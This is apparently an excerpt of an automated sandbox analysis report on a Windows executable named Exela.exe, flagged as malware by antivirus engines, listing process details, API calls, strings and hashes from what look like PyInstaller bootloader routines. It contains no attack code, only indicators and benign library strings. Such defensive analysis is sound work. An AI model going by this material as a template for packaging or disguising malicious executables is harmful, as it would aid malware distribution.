Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"
Imagebase:	0x7ff6e3a60000
File size:	11'317'024 bytes
MD5 hash:	D53E9B9D10AFFCF90E613ABCCC702CA2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	19:24:15
Start date:	24/04/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	48

Executed Functions

Function 00007FF72AA96950 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF72AA96995

Part of subcall function 00007FF72AA962E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA962FC

Part of subcall function 00007FF72AA8B4EC: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF72AA93972,?,?,?,00007FF72AA939AF,?,?,00000000,00007FF72AA93E75,?,?,00000000,00007FF72AA93DA7), ref: 00007FF72AA8B502
Part of subcall function 00007FF72AA8B4EC: GetLastError.KERNEL32(?,?,?,00007FF72AA93972,?,?,?,00007FF72AA939AF,?,?,00000000,00007FF72AA93E75,?,?,00000000,00007FF72AA93DA7), ref: 00007FF72AA8B50C

Part of subcall function 00007FF72AA8B4A4: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF72AA8B483,?,?,?,?,?,00007FF72AA836AC), ref: 00007FF72AA8B4AD
Part of subcall function 00007FF72AA8B4A4: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF72AA8B483,?,?,?,?,?,00007FF72AA836AC), ref: 00007FF72AA8B4D2

_get_daylight.LIBCMT ref: 00007FF72AA96984

Part of subcall function 00007FF72AA96348: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA9635C

_get_daylight.LIBCMT ref: 00007FF72AA96BFA
_get_daylight.LIBCMT ref: 00007FF72AA96C0B
_get_daylight.LIBCMT ref: 00007FF72AA96C1C
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF72AA96E5C), ref: 00007FF72AA96C43

Strings

W. Europe Standard Time, xrefs: 00007FF72AA96CE9
W. Europe Summer Time, xrefs: 00007FF72AA96D01

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureInformationLanguagesLastPreferredPresentProcessProcessorRestoreThreadTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time
API String ID: 1458651798-690618308
Opcode ID: 6ec15ad00ebc81b5713ed5170bbebc68efdd6324f1cef62f169a4dbf8db42b45
Instruction ID: af9c25cc5e7eb605be892e69ba1ff3e5c67882d2581df82afc75c1d901d6dbc4
Opcode Fuzzy Hash: 6ec15ad00ebc81b5713ed5170bbebc68efdd6324f1cef62f169a4dbf8db42b45
Instruction Fuzzy Hash: A7D1B126A0829386F720BF29DC41DB9E771EF54B94FC08176EA0D47A85DF3CE5428B60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA9789C Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72AA975D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA97611
Part of subcall function 00007FF72AA975D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA9768F
Part of subcall function 00007FF72AA975D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA976E0

CreateFileW.KERNELBASE ref: 00007FF72AA979A2
CreateFileW.KERNEL32 ref: 00007FF72AA979F2
GetLastError.KERNEL32 ref: 00007FF72AA97A22
GetFileType.KERNELBASE ref: 00007FF72AA97A37
GetLastError.KERNEL32 ref: 00007FF72AA97A41
CloseHandle.KERNEL32 ref: 00007FF72AA97A74
CloseHandle.KERNEL32 ref: 00007FF72AA97BD7
CreateFileW.KERNEL32 ref: 00007FF72AA97C0C
GetLastError.KERNEL32 ref: 00007FF72AA97C1B

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: ed7bb29f19db96d6df9cef71716606d4f492670f90b16f42eaf9bff86babf69b
Instruction ID: 560a343dd5db3835ca17ae15c229b0a9a269251a3e5fc5fd7e91804787d471f1
Opcode Fuzzy Hash: ed7bb29f19db96d6df9cef71716606d4f492670f90b16f42eaf9bff86babf69b
Instruction Fuzzy Hash: C8C1B036B24A4289FB50EF64C880AAC7771FB49B98F810665DE1E57794CF38D156CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA77950 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000000,?,00000000,00000000,?,00007FF72AA7153F), ref: 00007FF72AA779E7

Part of subcall function 00007FF72AA77B60: GetEnvironmentVariableW.KERNEL32(00007FF72AA739FF), ref: 00007FF72AA77B9A
Part of subcall function 00007FF72AA77B60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF72AA77BB7

Part of subcall function 00007FF72AA883CC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA883E5

SetEnvironmentVariableW.KERNEL32 ref: 00007FF72AA77AA1

Part of subcall function 00007FF72AA72B10: MessageBoxW.USER32 ref: 00007FF72AA72BE5

Strings

_MEI%d, xrefs: 00007FF72AA779F5
TMP, xrefs: 00007FF72AA7798A, 00007FF72AA77A49, 00007FF72AA77AD7
TMP, xrefs: 00007FF72AA779B0
LOADER: Failed to set the TMP environment variable., xrefs: 00007FF72AA779CA

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: dfc166a7c24a1272c32cc273787991c4dfa4833da8b9fc90ebc635bfae17cc3b
Instruction ID: fd2a81816b7eeb1cc7c6acf867ff2a85ed1669df68375c01ed9ceac838941290
Opcode Fuzzy Hash: dfc166a7c24a1272c32cc273787991c4dfa4833da8b9fc90ebc635bfae17cc3b
Instruction Fuzzy Hash: 02516C11B0961385FB59B626AC25ABED272DF88BC0FC440B5ED0E4B797ED2DE5034E60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA7A55D Relevance: 12.0, Strings: 9, Instructions: 745COMMON

Download Yara Rule

Strings

invalid distance too far back, xrefs: 00007FF72AA7AF20
invalid literal/lengths set, xrefs: 00007FF72AA7A9E3
invalid code lengths set, xrefs: 00007FF72AA7A6DD
invalid bit length repeat, xrefs: 00007FF72AA7A949
invalid code -- missing end-of-block, xrefs: 00007FF72AA7A976
invalid distance code, xrefs: 00007FF72AA7AE64
invalid distances set, xrefs: 00007FF72AA7AA50
invalid literal/length code, xrefs: 00007FF72AA7AC92
too many length or distance symbols, xrefs: 00007FF72AA7A6F6

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 212d86a86c8cb6d9fc903fcdabd382662a83ce4cb1445b9d6573bc2018cf14a4
Instruction ID: f72e5645d886257fa65a7bb173b0ee442cbc77d30f883e1cd3ae1f5090dc9264
Opcode Fuzzy Hash: 212d86a86c8cb6d9fc903fcdabd382662a83ce4cb1445b9d6573bc2018cf14a4
Instruction Fuzzy Hash: 4E52DF72A186A69BE7A49F14CC58E7EBBB9EF44340F814139E64A87780DB38D845CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA96BCC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF72AA96BFA

Part of subcall function 00007FF72AA96348: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA9635C

_get_daylight.LIBCMT ref: 00007FF72AA96C0B

Part of subcall function 00007FF72AA962E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA962FC

_get_daylight.LIBCMT ref: 00007FF72AA96C1C

Part of subcall function 00007FF72AA96318: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA9632C

Part of subcall function 00007FF72AA8B4EC: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF72AA93972,?,?,?,00007FF72AA939AF,?,?,00000000,00007FF72AA93E75,?,?,00000000,00007FF72AA93DA7), ref: 00007FF72AA8B502
Part of subcall function 00007FF72AA8B4EC: GetLastError.KERNEL32(?,?,?,00007FF72AA93972,?,?,?,00007FF72AA939AF,?,?,00000000,00007FF72AA93E75,?,?,00000000,00007FF72AA93DA7), ref: 00007FF72AA8B50C

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF72AA96E5C), ref: 00007FF72AA96C43

Strings

W. Europe Standard Time, xrefs: 00007FF72AA96CE9
W. Europe Summer Time, xrefs: 00007FF72AA96D01

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorInformationLanguagesLastPreferredRestoreThreadTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time
API String ID: 2248164782-690618308
Opcode ID: 6e110c42c992c942a967616de5e9b20753deb8e2725d4993c570f78644da606e
Instruction ID: 0dd9c92551c095f11b2f9985c7053537e36548267466216d585dcea26ef6b15d
Opcode Fuzzy Hash: 6e110c42c992c942a967616de5e9b20753deb8e2725d4993c570f78644da606e
Instruction Fuzzy Hash: 5D515D22A0868386F710FF25DC81DA9E770FF58784F804576EA4D87A96DF3CE5468B60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA79D2B Relevance: 4.1, Strings: 3, Instructions: 397COMMON

Download Yara Rule

Strings

header crc mismatch, xrefs: 00007FF72AA7A1D1
, xrefs: 00007FF72AA79E0B
unknown header flags set, xrefs: 00007FF72AA79D75

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: 326cf6427d5bf0e9376a5910f25170e202e1497fb5a723acb88e47d2bece8f14
Instruction ID: 30daac6967b1fdfca2a5754f36d9b05e98136cca07474488e831bfd197370820
Opcode Fuzzy Hash: 326cf6427d5bf0e9376a5910f25170e202e1497fb5a723acb88e47d2bece8f14
Instruction Fuzzy Hash: B1F18F72A183D59AF7A5AB148C88E3FBBB9FF44740F454579EA4A07290CB38D942CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA78AF0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF72AA78B21
FindClose.KERNELBASE ref: 00007FF72AA78B30

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: b4e9d4f2f4e135cd5a826bc565e92bc8980f88c43f5a21f71a862fe531212b02
Instruction ID: 83e76cf6b40b84f903c826329d0766596a4c64a4a4fa5ed93a1d9b78f0c669a2
Opcode Fuzzy Hash: b4e9d4f2f4e135cd5a826bc565e92bc8980f88c43f5a21f71a862fe531212b02
Instruction Fuzzy Hash: 5EF08162A1868286F7A09F64EC49B6EB3A0EF84724F800235D66D026D4DF3CE44A8E10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA79B8B Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF72AA79CF9
incorrect header check, xrefs: 00007FF72AA79D12

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: eff0553be1f10ec537251e961509bf2a8d4d677e3d27bfe4c15f043eb5d22666
Instruction ID: 1554e1761894a9ce8485ca29bade8befd31111e19b4864581cdaf5e2e40c3630
Opcode Fuzzy Hash: eff0553be1f10ec537251e961509bf2a8d4d677e3d27bfe4c15f043eb5d22666
Instruction Fuzzy Hash: 81919372A192C58BF7A5AA14CC48E3F7ABDFF44340F514179DB4A46690CB38E942CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA71700 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF72AA717C9
pyi_arch_extract2fs was called before temporary directory was initialized!, xrefs: 00007FF72AA71716
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF72AA717F6
Failed to create symbolic link %s!, xrefs: 00007FF72AA71743
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF72AA71856
fseek, xrefs: 00007FF72AA717FD
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF72AA718E5
fread, xrefs: 00007FF72AA718EC
Failed to extract %s: failed to open target file!, xrefs: 00007FF72AA71780
fopen, xrefs: 00007FF72AA71787
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF72AA718D5
malloc, xrefs: 00007FF72AA7185D
fwrite, xrefs: 00007FF72AA718DC

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc$pyi_arch_extract2fs was called before temporary directory was initialized!
API String ID: 2030045667-3833288071
Opcode ID: f155ba7c1e409e8dd92aaebb21cf30c3edeb765cbc1e50d792bdd50ce01b36d6
Instruction ID: ad9d83e9dc60814de552003260b83e5a76f86bb1b91e102b21db4cf7c11dd4b7
Opcode Fuzzy Hash: f155ba7c1e409e8dd92aaebb21cf30c3edeb765cbc1e50d792bdd50ce01b36d6
Instruction Fuzzy Hash: 69516E61B08A4386FB10BB15DC50E7EE3B1EF44794FC445B1DE4D076A9DE2DE64A8B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA71A90 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72AA782B0: _fread_nolock.LIBCMT ref: 00007FF72AA7835A

_fread_nolock.LIBCMT ref: 00007FF72AA71B44

Part of subcall function 00007FF72AA72870: MessageBoxW.USER32 ref: 00007FF72AA7297B

Strings

Could not allocate buffer for TOC!, xrefs: 00007FF72AA71BC6
fseek, xrefs: 00007FF72AA71B23
MEI, xrefs: 00007FF72AA71AD2
Failed to seek to cookie position!, xrefs: 00007FF72AA71B1C
fread, xrefs: 00007FF72AA71B56, 00007FF72AA71C00
Could not read full TOC!, xrefs: 00007FF72AA71BF9
Failed to read cookie!, xrefs: 00007FF72AA71B4F
Error on file., xrefs: 00007FF72AA71C26
malloc, xrefs: 00007FF72AA71BCD

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 677216364-1384898525
Opcode ID: d767be5d7a092a22f165d7fbc5367fda776b66ec7992fa0eab7fb37216aecb80
Instruction ID: 9c31f1f505ff34c15e09b33b8876fc69913fae8376617a916e168f720c80b9a4
Opcode Fuzzy Hash: d767be5d7a092a22f165d7fbc5367fda776b66ec7992fa0eab7fb37216aecb80
Instruction Fuzzy Hash: 3C517B72A08A0286FB14EF24DC5097DB3B0EF48B84FD18176DA0C477A9DE2CE546CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA71000 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72AA73EB0: GetModuleFileNameW.KERNEL32(?,00007FF72AA739CA), ref: 00007FF72AA73EE1

SetDllDirectoryW.KERNEL32 ref: 00007FF72AA73BD5

Part of subcall function 00007FF72AA77B60: GetEnvironmentVariableW.KERNEL32(00007FF72AA739FF), ref: 00007FF72AA77B9A
Part of subcall function 00007FF72AA77B60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF72AA77BB7

Strings

MEI, xrefs: 00007FF72AA73ADA
_MEIPASS2, xrefs: 00007FF72AA739EB, 00007FF72AA73A54, 00007FF72AA73D07, 00007FF72AA73D13
_PYI_ONEDIR_MODE, xrefs: 00007FF72AA73A14, 00007FF72AA73A3F
Failed to convert DLL search path!, xrefs: 00007FF72AA73BC5
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF72AA73AA6
Cannot side-load external archive %s (code %d)!, xrefs: 00007FF72AA73B1F
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF72AA73B53

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-1544818733
Opcode ID: 767da2809997ecd08a899f0714dab35352101c7708ff18cc608221b79fe6a14f
Instruction ID: fc267921f97c977c1396ab03f043022fb0e0b7b912cce3fa51b8b593efea149b
Opcode Fuzzy Hash: 767da2809997ecd08a899f0714dab35352101c7708ff18cc608221b79fe6a14f
Instruction Fuzzy Hash: AEB16021A19A4381FB65BB219D51ABFE2B0EF84784FC041F5EA4D47696DF2CE5078B30

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA78080 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF72AA78BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF72AA72A9B), ref: 00007FF72AA78C0A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF72AA73D37), ref: 00007FF72AA780CF
GetStartupInfoW.KERNEL32 ref: 00007FF72AA780EE

Part of subcall function 00007FF72AA8AFF4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA8B008

Part of subcall function 00007FF72AA88C10: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA88C77

GetCommandLineW.KERNEL32 ref: 00007FF72AA7818E
CreateProcessW.KERNELBASE ref: 00007FF72AA781D0
WaitForSingleObject.KERNEL32 ref: 00007FF72AA781E4
GetExitCodeProcess.KERNELBASE ref: 00007FF72AA781F4

Strings

CreateProcessW, xrefs: 00007FF72AA78207
Error creating child process!, xrefs: 00007FF72AA78200

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: 3741643826c5352320942fbf43c5de1d0e179915c125a0ccfc2097356f541c1c
Instruction ID: 4b6c23b0a7b589e3e9eb9bf236eb15ff96eb6e99e945345955b35556006a30f1
Opcode Fuzzy Hash: 3741643826c5352320942fbf43c5de1d0e179915c125a0ccfc2097356f541c1c
Instruction Fuzzy Hash: 8B414132A08B8285EB20AB24EC456AAE3B0FF94364F900776E6AD437D5DF7CD5458F50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA71050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

